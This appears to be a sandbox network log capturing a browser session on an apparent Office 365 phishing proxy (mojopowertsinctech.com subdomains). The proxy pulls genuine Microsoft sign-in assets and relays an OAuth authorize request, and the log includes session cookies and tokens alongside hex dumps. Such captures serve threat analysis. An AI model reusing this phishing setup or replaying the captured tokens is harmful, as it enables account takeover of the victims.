2024-02-23 10:49:30 UTC	15566	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 79 7f db 38 b2 28 fa ff fd 14 b6 a6 c7 11 db b4 2c 6a 97 6d c6 e3 78 e9 64 a6 bb 93 93 a5 e7 cc c8 ea 0c 45 41 12 db 14 29 93 94 97 c4 3e 9f fd 55 15 76 52 ce 32 e7 9e 7b df ef bd cc 34 4d 14 0a 85 42 01 28 14 0a 05 6a ff c7 ed ff b5 f5 e3 d6 de b7 ff db 7a f7 fe e4 ed fb ad d7 17 5b ef 5f be 7a 7b b6 f5 06 52 ff d8 fa f5 f5 fb 57 a7 e7 df 4e 07 2b c5 ff de 2f a2 7c 6b 16 c5 6c 0b fe 4e 82 9c 4d b7 d2 64 2b cd b6 a2 24 4c b3 55 9a 05 05 cb b7 96 f0 cc a2 20 de 9a 65 e9 72 ab 58 b0 ad 55 96 fe c1 c2 22 df 8a a3 bc 80 42 13 16 a7 b7 5b 75 20 97 4d b7 de 04 59 71 bf f5 ea 8d d3 00 fa 0c a8 45 f3 28 81 d2 61 ba ba 87 f7 45 b1 95 a4 45 14 b2 ad 20 99 12 b5 18 12 49 ce b6 d6 c9 94 65 5b b7 8b 28 5c 6c fd 12 85 59 9a a7 b3 62 Data Ascii: y8(,jmxdEA)>UvR2{4MB(jz[_z{RWN+/\|klNMd+$LU erXU"B[u MYqE(aEE Ie[(\lYb
2024-02-23 10:49:30 UTC	16384	IN	Data Raw: 74 47 51 df e2 a7 d9 0e e9 15 3f c1 24 e9 53 33 99 f5 65 7b af 27 60 89 0d b8 93 cb 2c 59 d8 ef ca 3b 4e 42 2a 01 c9 a9 97 57 3e a2 88 17 2b 44 57 f4 c8 a8 7a f7 d2 fc f5 2b e2 69 61 fe fe d5 90 70 34 c6 80 63 a8 7c 1a 94 78 e8 bc f1 93 ec 94 b3 f1 ba 76 f9 f4 ba 2d 61 9b 9c a7 44 66 b3 e1 43 59 f6 b7 dd e9 26 62 be 10 bf f3 83 03 f0 5d 34 57 5f 7c 24 fb 26 37 00 a1 02 cc 24 a4 25 21 37 36 44 9f be f1 a4 11 90 1d 70 88 3a 52 6f 8b f4 75 09 a0 3e 43 cd 44 5a 4e 04 da 11 9a df 99 9b 8a b4 ba 60 39 e3 00 15 6a 4d c7 1f 00 30 97 84 0e 07 99 5f 84 23 d6 cb 9f 7f a0 ef ae f2 9f e3 92 43 8d 7a 16 c1 1b 07 e5 32 c8 17 72 0e d3 e6 36 5f da 5f 52 a6 9a cb 1d ba 8c 24 fd b6 00 a8 8f 38 04 3c a9 5c 60 a1 48 ab 40 ae 50 dd dc 79 f7 fa e2 bd 1e 81 84 98 ce 0a 3d 06 39 Data Ascii: tGQ?$S3e{'`,Y;NB*W>+DWz+iap4c\|xv-aDfCY&b]4W_\|$&7$%!76Dp:Rou>CDZN`9jM0_#Cz2r6__R$8<\`H@Py=9
2024-02-23 10:49:30 UTC	3861	IN	Data Raw: 59 85 31 0c e0 6e b2 cc a6 c5 c3 24 80 ee 7f 9d f8 9b bb 69 03 23 21 33 a6 8b e6 e5 1e 43 aa c9 19 f2 34 9f 20 90 cc 50 9d 48 b7 c7 97 82 0f e5 f2 6d 34 d3 3e d9 cc 55 48 7e 4a 52 d3 da dc ea 8b 99 19 16 74 b8 7d a2 88 f6 5d 16 a4 75 46 49 33 5c 54 e5 72 a5 cf ac 18 df 72 26 9a 32 3a 0f 8e 8c 3a ef c0 18 c3 5a ff 94 a6 c0 85 bd b6 70 ff 0a 97 0f 9f 73 fb e8 73 4c f4 e4 28 83 d3 c7 c6 3f 6a bc 76 02 e7 75 a3 7f f4 da c9 11 97 67 b3 39 c3 65 40 5c 3c 5e e8 fb 3b 7e 65 c5 70 05 d5 b3 04 42 db 54 cb c9 3d 0f 20 77 7e 4c ba 6d 8c 6e 29 ba 86 5f 5c 84 0d 3d ed 99 ed b7 de 11 74 04 18 bb 72 a7 67 7d e2 fb 7c 2a e5 7d 55 ab 2b 59 82 c1 53 71 06 40 aa 44 eb f6 38 31 de 62 f9 ec a9 e4 fe ce 42 8a db d7 3e d6 d8 78 29 38 28 ea 9c 0b f5 33 ed 50 55 a6 9b 41 89 5a ea Data Ascii: Y1n$i#!3C4 PHm4>UH~JRt}]uFI3\Trr&2::ZpssL(?jvug9e@\<^;~epBT= w~Lmn)_\=trg}\|*}U+YSq@D81bB>x)8(3PUAZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49777	13.107.246.70	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:30 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:31 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:31 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49ED96E0 x-ms-request-id: 6742ec95-801e-0042-6145-66608b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104931Z-haztcu2kah0y59cd8ugckhh26n00000000r0000000005nws x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:31 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49786	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:39 UTC	622	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_presetpasswordsplitter_6e10b52b3041ad1fb229.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:39 UTC	797	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:39 GMT Content-Type: application/x-javascript Content-Length: 1662 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Sun, 21 Jan 2024 22:02:52 GMT ETag: 0x8DC1ACCB6EFA77D x-ms-request-id: dece00f4-c01e-006a-6746-66a9a9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104939Z-uh37y75rz546t4th15shr14cvg00000000zg000000004g7a x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-02-23 10:49:39 UTC	1662	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e5 57 5b 6f db 36 14 7e ef af 60 b4 07 db 8d 24 df d3 c4 ad 07 b4 49 ba a4 6b 1a 23 f6 3a 0c 71 61 50 12 6d 31 91 48 81 a4 ec 78 89 ff fb 0e 69 c9 b6 1c a7 4b 5b 0c d8 b0 00 b1 6c f2 5c be 73 f9 0e a9 ea cb bd 17 e8 25 72 9e ff 87 fa 83 b7 57 03 74 f9 1e 0d ce ce af 4e 50 0f 7e fd 81 3e 5d 0e ce 8f 4f 9f 6f 47 3b d5 ff 83 90 4a 34 a6 11 41 f0 f4 b0 24 01 e2 0c 71 81 28 f3 b9 48 b8 c0 8a 48 14 c3 a7 a0 38 42 63 c1 63 a4 42 82 12 c1 6f 88 af 24 8a a8 54 a0 e4 91 88 cf 50 19 cc 89 00 f5 b0 50 73 74 de ab b8 60 9f 80 35 3a a1 0c b4 7d 9e cc e1 7b a8 10 e3 8a fa 04 61 16 18 6b 11 fc 60 92 a0 94 05 44 a0 59 48 fd 10 5d 50 5f 70 c9 c7 0a 09 e2 13 3a 05 27 32 85 f5 a2 0b 1b 61 41 90 24 0a 8d b9 50 e1 12 87 8b fa 5a 32 b3 2a 8d 9b a5 Data Ascii: W[o6~`$Ik#:qaPm1HxiK[l\s%rWtNP~>]OoG;J4A$q(HH8BccBo$TPPst`5:}{ak`DYH]P_p:'2aA$PZ2*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49787	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:40 UTC	669	OUT	GET /shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:40 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:40 GMT Content-Type: image/svg+xml Content-Length: 628 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4963155C x-ms-request-id: 2a8a8d42-f01e-004d-55e6-65e994000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104940Z-vqfb4xbn790svab82bwezbn1zn00000000fg0000000065n9 x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-02-23 10:49:40 UTC	628	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 94 4d 6f db 30 0c 86 ff 8a e1 5d 25 46 d4 97 a5 36 09 90 9d 72 58 af 3b f4 e6 26 69 1d c0 5d 8b 26 48 5a 0c fd ef 23 25 ba cb d6 42 f1 e3 98 34 c5 57 24 93 f9 e1 f4 d0 bc 3e 8e bf 0e 8b 76 38 1e 9f af 66 b3 f3 f9 0c 67 07 4f 2f 0f 33 6b 8c 99 d1 1b 6d 73 de 6f 8f c3 a2 f5 a9 6d 86 dd fe 61 38 d6 ef a7 fd ee fc fd e9 75 d1 9a c6 34 3e d1 a7 5d ce b7 bb fb c3 72 7e 38 be 8d bb 25 f4 bf ef f7 e3 78 f5 6d 17 79 5d bf c3 9d 18 bc e1 75 fd 3e 9f d5 37 e7 b3 1a b7 d9 bf 6c c6 5d b3 19 fb 03 69 ea db 66 43 db 5b 4f f7 b7 7a 7f 29 b7 d9 72 fe dc 1f 87 e9 bd bb b6 d9 2e da 1b 67 21 28 f4 2b 04 9f ad aa 34 b4 50 39 af 30 40 f8 e9 12 84 e2 f6 aa 52 dc 1c e8 cd a0 b1 fb c2 8b 5e 71 dc 49 5b f7 95 37 94 a4 83 87 d4 b9 51 3b 1d 07 0b 36 Data Ascii: mMo0]%F6rX;&i]&HZ#%B4W$>v8fgO/3kmsoma8u4>]r~8%xmy]u>7l]ifC[Oz)r.g!(+4P90@R^qI[7Q;6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	49788	13.107.213.40	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:40 UTC	669	OUT	GET /shared/1.0/content/images/picker_account_msa_3b879963b4f70829fd7a25cbc9519792.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://o365.mojopowertsinctech.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:40 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:40 GMT Content-Type: image/svg+xml Content-Length: 254 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F496CFFA1 x-ms-request-id: fcd6af16-501e-0057-53c8-6357a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104940Z-uvmt6y2x6t26rcdnmqt2er7nsg00000000q00000000071hu x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-02-23 10:49:40 UTC	254	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 50 cb 6e c3 20 10 fc 15 44 af 78 59 30 06 5c d9 96 d2 7b 7f 20 37 cb a1 06 c9 79 c8 46 21 fd fb 9a 90 f6 54 0d 9a 59 98 59 ad 96 6e bb cf e4 71 5e 2e 5b 4f 7d 8c b7 77 ce 53 4a 90 6a b8 ae 33 97 88 c8 f7 04 25 29 9c a2 ef a9 b2 94 78 17 66 1f 4b 7d 0f 2e 7d 5c 1f 3d 45 82 44 d9 fd d0 a1 8b 21 2e 6e 18 b7 cd c5 ad e3 e5 d6 4d 61 9d 16 47 a6 3d 2b 15 25 d3 77 d1 b5 c8 57 58 96 9e be 39 9d 41 f9 d0 dd c6 e8 c9 a9 a7 9f a2 06 a5 58 ad bd 80 56 8e 16 b4 62 4f 42 26 32 0c 48 cb b0 98 02 a1 31 35 7b 09 66 54 1a 1a dd 56 2d 18 23 98 01 6d 0b e5 66 ac 0c b4 56 32 3c fc d3 c7 7e c7 1e cf 0a 6c 25 34 d4 f2 d0 80 d1 ec 49 65 b8 54 4c 36 39 96 df f4 8b b1 98 16 76 57 b4 fb b0 e3 df 76 0a 33 f2 76 f9 4f 87 1f 7d d7 81 14 7b 01 00 00 Data Ascii: mPn DxY0\{ 7yF!TYYnq^.[O}wSJj3%)xfK}.}\=ED!.nMaG=+%wWX9AXVbOB&2H15{fTV-#mfV2<~l%4IeTL69vWv3vO}{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49789	13.107.246.70	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:41 UTC	422	OUT	GET /shared/1.0/content/images/picker_account_msa_3b879963b4f70829fd7a25cbc9519792.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:41 UTC	812	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:41 GMT Content-Type: image/svg+xml Content-Length: 254 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F496CFFA1 x-ms-request-id: 3e9cae45-301e-0015-1d3e-66d2b6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104941Z-5rpb5t3agd7wh0eb7y49cd3we4000000009g000000008w24 x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-02-23 10:49:41 UTC	254	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 50 cb 6e c3 20 10 fc 15 44 af 78 59 30 06 5c d9 96 d2 7b 7f 20 37 cb a1 06 c9 79 c8 46 21 fd fb 9a 90 f6 54 0d 9a 59 98 59 ad 96 6e bb cf e4 71 5e 2e 5b 4f 7d 8c b7 77 ce 53 4a 90 6a b8 ae 33 97 88 c8 f7 04 25 29 9c a2 ef a9 b2 94 78 17 66 1f 4b 7d 0f 2e 7d 5c 1f 3d 45 82 44 d9 fd d0 a1 8b 21 2e 6e 18 b7 cd c5 ad e3 e5 d6 4d 61 9d 16 47 a6 3d 2b 15 25 d3 77 d1 b5 c8 57 58 96 9e be 39 9d 41 f9 d0 dd c6 e8 c9 a9 a7 9f a2 06 a5 58 ad bd 80 56 8e 16 b4 62 4f 42 26 32 0c 48 cb b0 98 02 a1 31 35 7b 09 66 54 1a 1a dd 56 2d 18 23 98 01 6d 0b e5 66 ac 0c b4 56 32 3c fc d3 c7 7e c7 1e cf 0a 6c 25 34 d4 f2 d0 80 d1 ec 49 65 b8 54 4c 36 39 96 df f4 8b b1 98 16 76 57 b4 fb b0 e3 df 76 0a 33 f2 76 f9 4f 87 1f 7d d7 81 14 7b 01 00 00 Data Ascii: mPn DxY0\{ 7yF!TYYnq^.[O}wSJj3%)xfK}.}\=ED!.nMaG=+%wWX9AXVbOB&2H15{fTV-#mfV2<~l%4IeTL69vWv3vO}{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49790	13.107.246.70	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:41 UTC	422	OUT	GET /shared/1.0/content/images/picker_account_aad_a8332c62695d74843a11daf39a74e552.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-23 10:49:41 UTC	805	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 10:49:41 GMT Content-Type: image/svg+xml Content-Length: 628 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4963155C x-ms-request-id: 2a8a8d42-f01e-004d-55e6-65e994000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240223T104941Z-bd4sm2901d0qd830671sd5u4nn00000000hg000000005x6u x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-02-23 10:49:41 UTC	628	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 6d 94 4d 6f db 30 0c 86 ff 8a e1 5d 25 46 d4 97 a5 36 09 90 9d 72 58 af 3b f4 e6 26 69 1d c0 5d 8b 26 48 5a 0c fd ef 23 25 ba cb d6 42 f1 e3 98 34 c5 57 24 93 f9 e1 f4 d0 bc 3e 8e bf 0e 8b 76 38 1e 9f af 66 b3 f3 f9 0c 67 07 4f 2f 0f 33 6b 8c 99 d1 1b 6d 73 de 6f 8f c3 a2 f5 a9 6d 86 dd fe 61 38 d6 ef a7 fd ee fc fd e9 75 d1 9a c6 34 3e d1 a7 5d ce b7 bb fb c3 72 7e 38 be 8d bb 25 f4 bf ef f7 e3 78 f5 6d 17 79 5d bf c3 9d 18 bc e1 75 fd 3e 9f d5 37 e7 b3 1a b7 d9 bf 6c c6 5d b3 19 fb 03 69 ea db 66 43 db 5b 4f f7 b7 7a 7f 29 b7 d9 72 fe dc 1f 87 e9 bd bb b6 d9 2e da 1b 67 21 28 f4 2b 04 9f ad aa 34 b4 50 39 af 30 40 f8 e9 12 84 e2 f6 aa 52 dc 1c e8 cd a0 b1 fb c2 8b 5e 71 dc 49 5b f7 95 37 94 a4 83 87 d4 b9 51 3b 1d 07 0b 36 Data Ascii: mMo0]%F6rX;&i]&HZ#%B4W$>v8fgO/3kmsoma8u4>]r~8%xmy]u>7l]ifC[Oz)r.g!(+4P90@R^qI[7Q;6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49791	172.67.204.183	443	5932	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-23 10:49:44 UTC	2108	OUT	GET /oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&scope=openid+profile+https%3a%2f%2freact.mojopowertsinctech.com%2fv2%2fOfficeHome.All&redirect_uri=https%3a%2f%2freact.mojopowertsinctech.com%2flandingv2&response_type=code+id_token&state=SKX2sWObnmC2KUDmyl6IEdRcNVgMO2kAOvqdxIJr7XryeudiPxw8O4aUBH61t-i5dyiB0zEFGOroYmPV9_ACzHInvHz2SDzzvAjQNm82MDfuUNMyTxYsfOKoomU8w3NsXljPAor75CC5HwINzhGzqtsj5N2jjZ2b6WdFDVLUUP-fE1NLxMq5aHhzbpDL_aj7ymi04o-2ql7ws934C-6hcNC6fmmOpcREX_Ei2SK8Ukv0AWMfPnuLwgxyNiAT3kWqUdhiXyZk7h71_597UFSMng&response_mode=form_post&nonce=638442821614032083.YjYwZGIzMDEtOWRhNi00YmRjLTg3ZjMtYTZjOWQzNTM2NmFjMGQ4YjYxOGUtNzFiYy00NWU0LWFhZWYtZWJhZDY2ZDYzZGVm&x-client-SKU=ID_NET6_0&x-client-Ver=7.2.0.0&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&msproxy=1&issuer=mso&tenant=common&ui_locales=en-US&signup=1&lw=1&fl=easi2&epct=PAQABDgEAAADnfolhJpSnRYB1SVj-Hgd80w1kEV2yfp5yTl51I3iF3TZ8rpCwOgZ1lnF8q4G7ilhCQoP1LCvvDjOYr7gkKkuM7-GqKwtD-DLU3ziTNuKDBvBhkf5lNtDU51r8u1087AG3ShOPiScHcXZGRsjcnZgWaEkzg04aq2TTtQi6gXE2YvLU9b50YfhyYGF5MdbVLjtsuQHsKoCTyQj8dsiUlsG-q-71Os5kFsN_o4Y-UJTvhiAA&jshs=0 HTTP/1.1 Host: ywnjb.mojopowertsinctech.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f0d7-194e=5ecf874815ef86ac1ee9549752777d799e21a4d9a408356c503a0148268e1782; MUID=2CB8A7944ACF6378145EB3BA4B176235; cf_clearance=_.19IPVg4nt4BsavICZS6KTOzVtldqaXWN_2sDG8mXs-1708685369-1.0-AfY4Ttwj9y1b0tjmOcLZFdhoAjisSSYv9oJnfDWhSTj96PVbx4QMN+9JveeaTHOBNru+aUDhvkCp7xvsi/Z0YaI=; uaid=bb5a992d257f41739253c4d2edca1509; MSPRequ=id=N&lt=1708685369&co=2
2024-02-23 10:49:45 UTC	1089	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 10:49:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache Expires: Fri, 23 Feb 2024 10:48:45 GMT Location: https://signup.live.com/signup?sru=https://login.live.com/oauth20_authorize.srf%3flc%3d1033%26client_id%3d4765445b-32c6-49b0-83e6-1d93765276ca%26mkt%3dEN-US%26opid%3dE732ECC7090E64D4%26opidt%3d1708685385%26uaid%3d9f2710581d4e4ca9b4b73f7143f1c7f2%26contextid%3dC3D2AEA88BADC39E%26opignore%3d1&mkt=EN-US&uiflavor=web&lw=1&fl=easi2&client_id=4765445b-32c6-49b0-83e6-1d93765276ca&uaid=9f2710581d4e4ca9b4b73f7143f1c7f2&suc=4765445b-32c6-49b0-83e6-1d93765276ca P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Ppserver: PPV: 30 H: BL02EPF00006838 V: 0 Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: MSPRequ=id=N&lt=1708685385&co=0; Path=/; Domain=ywnjb.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None Set-Cookie: uaid=9f2710581d4e4ca9b4b73f7143f1c7f2; Path=/; Domain=ywnjb.mojopowertsinctech.com; HttpOnly; Secure; SameSite=None
2024-02-23 10:49:45 UTC	1452	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4f 50 61 72 61 6d 73 3d 31 31 4f 2e 44 6b 6a 39 45 77 70 33 39 76 70 34 70 5a 76 4c 65 39 4c 36 31 7a 74 69 71 63 5a 47 51 44 36 75 6c 47 30 39 51 38 38 32 6f 63 21 4e 42 51 58 78 38 32 77 62 77 75 6a 6e 34 74 32 53 45 42 41 55 54 76 44 34 6a 53 45 53 62 48 50 2a 5a 21 73 46 52 64 4d 67 76 4a 48 51 77 47 46 61 6d 21 43 49 76 36 61 30 6f 31 54 51 2a 79 65 31 75 54 4e 59 39 2a 62 63 45 63 4d 78 21 4f 4e 74 56 30 31 39 63 49 72 75 7a 7a 38 65 32 47 42 31 54 32 66 30 69 79 65 64 43 56 44 6a 72 47 53 45 44 7a 59 49 52 6b 43 6d 64 75 34 56 54 64 76 43 59 46 54 21 4d 45 78 6e 6c 46 43 79 4c 36 71 46 78 65 38 34 